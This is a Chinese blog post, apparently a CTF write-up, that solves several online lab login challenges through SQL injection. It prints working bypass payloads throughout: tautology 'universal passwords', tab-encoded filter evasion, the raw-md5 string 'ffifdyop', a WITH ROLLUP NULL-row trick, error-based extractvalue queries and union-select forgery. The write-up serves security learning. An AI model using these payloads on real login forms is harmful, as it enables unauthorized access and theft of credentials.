login窗口for mysql_CTF| SQL注入之login界面

SQL注入是CTF的WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面,让我们绕过限制登录或者一步步注入数据。

万能密码—very easy

题目入口:http://lab1.xseclab.com/sqli2_32 ... c31550b60/index.php

题目来源:hacking lab inject 01~

101601juyd33fgdomo3s2o.png

very easy.png (2.98 KB, 下载次数: 35)

2017-10-10 10:16 上传

源代码有提示:

101632zpf196hdgyhfddyb.png

!.png (1.79 KB, 下载次数: 23)

2017-10-10 10:16 上传

万能密码登录语句构造:

select * from admin where username='admin'and 1=1 #' and password='123456'

OR

select * from admin where username='admin'or 1 #' and password='123456'

或者不需要admin

select * from admin where username='1'or 1 or 1 #' and password='123456'

还可以用#来注释

select * from admin where username='admin'#' and password='123456'

万能密码— easy

题目入口:http://redtiger.labs.overthewire.org/level2.php

题目来源:RedTigers Hackit Level 2 Simple login-bypass

做题密码:4_is_not_random

构造语句:

username=1&password=1'or'1'or'1&login=Login

101910f7ayda4jxa31a43y.png

login.png (1.8 KB, 下载次数: 21)

2017-10-10 10:19 上传

万能密码— not than easy

题目入口: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

题目来源:实验吧,不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

102009ivar19071bpzb98e.png

easy.png (18.17 KB, 下载次数: 24)

2017-10-10 10:20 上传

常规方式使用万能密码,发现'没有被过滤,or,--+,#被过滤。

102047l8m7u5uzlbm1oriz.png

beiguolv.png (78.34 KB, 下载次数: 26)

2017-10-10 10:20 上传

假设后台sql查询语句为:

select * from user where username='$user' and password='$pass'

构造payload:

username=reborn'='&password=reborn'='

102214ql44x5b5gi3o35s4.png

000.png (9.85 KB, 下载次数: 23)

2017-10-10 10:22 上传

select * from user where username='reborn'='' and password='reborn'=''

username='reborn'返回值为0,相当于false,然后0=''的结果为1,相当于true。

所以注入语句相当于:

select * from user where 1 and 1

万能密码— little hard ?

题目入口:http://123.59.52.228:1515/route.php?act=index

题目来源:2017年全国大学生信息安全竞赛的web题。

102355d8hh5vbztbfs4zin.png

your hat.png (19.48 KB, 下载次数: 22)

2017-10-10 10:23 上传

提交的时候,返回包有提示这么一个sql语句:

select count(*) from t_info where username = '1' or nickname = '1'

' 转义 \

\ 转义 \\

" 转义 \"

空格被过滤:但'可以转义掉原本的'

name=or 1 #'&submit=check

select count(*) from t_info where username = 'or1#\' or nickname = 'or1#\'

用%09代替空格,%09是制表符的URL编码 。

name=or%091%09#'&submit=check

select count(*) from t_info where username = 'or 1 #\' or nickname = 'or 1 #\'good job

跟随302跳转。

102650z0ls7cxsd7obdq7f.png

tiaozhuan.png (2.15 KB, 下载次数: 29)

2017-10-10 10:26 上传

万能密码— md5($pass,true)

题目入口:http://web.jarvisoj.com:32772/

题目来源:jarvis oj,Login:需要密码才能获得flag哦。

本题是一个登录页面。

102717myyzz3zqzb3jdjjd.png

页面.png (1.01 KB, 下载次数: 36)

2017-10-10 10:27 上传

通过burp抓包拦截,返回包有提示:

102747y6136bf6buydbuko.png

返回包.png (73.79 KB, 下载次数: 27)

2017-10-10 10:27 上传

Hint: "select * from `admin` where password='".md5($pass,true)."'"

* md5(string,raw)*

string 必需。规定要计算的字符串。

raw 可选。规定十六进制或二进制输出格式:

•  TRUE - 原始 16 字符二进制格式

•FALSE - 默认。32 字符十六进制数如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串,则拼接后构成的语句为:

select * from `admin` where password=''or'xxx'

下面提供两个payload:

content: 129581926211651571912466741651878684928

hex: 06da5430449f8f6f23dfc1276f722738

raw: ?T0D??o#??'or'8.N=?

content: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c

raw: 'or'6蒥欓!r,b

类似题目:

题目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

题目来源:hacking lab inject 09~

看到源代码password='".md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

万能密码— with rollup

题目入口: http://ctf5.shiyanbar.com/web/pcat/index.php

题目来源:实验吧

访问链接是登录页面:

103042mmemqxntb99quk79.png

万能页‘’.png (17.01 KB, 下载次数: 24)

2017-10-10 10:30 上传

查看网页源代码有提示:

103143c79lp9gol4gyyr9n.png

ts.png (1.99 KB, 下载次数: 31)

2017-10-10 10:31 上传

访问:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到题目源代码。

error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {

echo '

'."
";

echo ''."
";

echo ''."
";

echo ''."
";

echo '

'."
";

echo ''."
";

die;

}

function AttackFilter($StrKey,$StrValue,$ArrReq){

if (is_array($StrValue)){

$StrValue=implode($StrValue);

}

if (preg_match("/".$ArrReq."/is",$StrValue)==1){

print "水可载舟,亦可赛艇!";

exit();

}

}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

foreach($_POST as $key=>$value){

AttackFilter($key,$value,$filter);

}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");

if (!$con){

die('Could not connect: ' . mysql_error());

}

$db="XXXXXX";

mysql_select_db($db, $con);

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";

$query = mysql_query($sql);

if (mysql_num_rows($query) == 1) {

$key = mysql_fetch_array($query);

if($key['pwd'] == $_POST['pwd']) {

print "CTF{XXXXXX}";

}else{

print "亦可赛艇!";

}

}else{

print "一颗赛艇!";

}

mysql_close($con);

?>

从源代码得出,注入点在uname这个位置上,$filter没有过滤掉or

注入成功要满足几个条件:

1.mysql_num_rows($query) == 1 即查询返回的结果行数为1

2.$key['pwd'] == $_POST['pwd'] 即查询返回的结果与POST发送的pwd值相同

解题:

group by pass with rollup 的技巧

mysql> select user from users group by user;

+---------+

| user    |

+---------+

| 1337    |

| admin   |

| gordonb |

| pablo   |

| smithy  |

+---------+

5 rows in set

mysql> select user from users group by user with rollup;

+---------+

| user    |

+---------+

| 1337    |

| admin   |

| gordonb |

| pablo   |

| smithy  |

| NULL    |

+---------+

6 rows in set

可以发现,在加上with roll up之后,返回pass最后一行多了一个NULL。当我们POST的pass为空,即可满足$key['pwd'] == $_POST['pwd']条件。

如何让返回的结果只取最后一行呢?

因为过滤了,所以无法使用limit 5,1这样的语法

可以使用limit 1 offset 5

mysql> select user from users group by 1 with rollup limit 1 offset 5;

+------+

| user |

+------+

| NULL |

+------+

1 row in set

所以最终 payload 如下,2为遍历出来的值

uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

万能密码— 程序逻辑

题目入口: http://ctf5.shiyanbar.com/web/5/index.php

题目来源:实验吧,程序逻辑问题

本题源代码:http://ctf5.shiyanbar.com/web/5/index.txt

welcome to simplexue

if($_POST[user] && $_POST[pass]) {

$conn = mysql_connect("********, "*****", "********");

mysql_select_db("phpformysql") or die("Could not select database");

if ($conn->connect_error) {

die("Connection failed: " . mysql_error($conn));

}

$user = $_POST[user];

$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";

$query = mysql_query($sql);

if (!$query) {

printf("Error: %s\n", mysql_error($conn));

exit();

}

$row = mysql_fetch_array($query, MYSQL_ASSOC);

//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

echo "

Logged in! Key:**************

";

}

else {

echo("

Log in failure!

");

}

}

?>

首先可以发现user处存在注入点,并且会回显错误信息,第一个想到的是报错注入。

user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111

结果密码并不是admin/111。

user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111

结果提示:

103939l2a5jykel5jx4ljg.png

error.png (3.09 KB, 下载次数: 27)

2017-10-10 10:39 上传

既然是程序逻辑漏洞,然就继续看代码吧。

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

echo "

Logged in! Key:**************

";

}

判断sql查询返回的值和$pass做比较。strcasecmp比较两个字符串,且不区分大小写,相等返回0。

既然user存在注入,我们可以让返回的结果为任何值,只要等于我们输入pass的md5值。

如:reborn的md5加密的值为5ce3c6e5c3f84bdc0f45148adfd16ae6

因此我们可以构造payload:

user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn

结果:

104114caypyv5hnfekvpy0.png

jieguo.png (3.9 KB, 下载次数: 25)

2017-10-10 10:41 上传

104134o4bq163h04hphm62.jpg

640.webp.jpg (54.75 KB, 下载次数: 40)

2017-10-10 10:41 上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值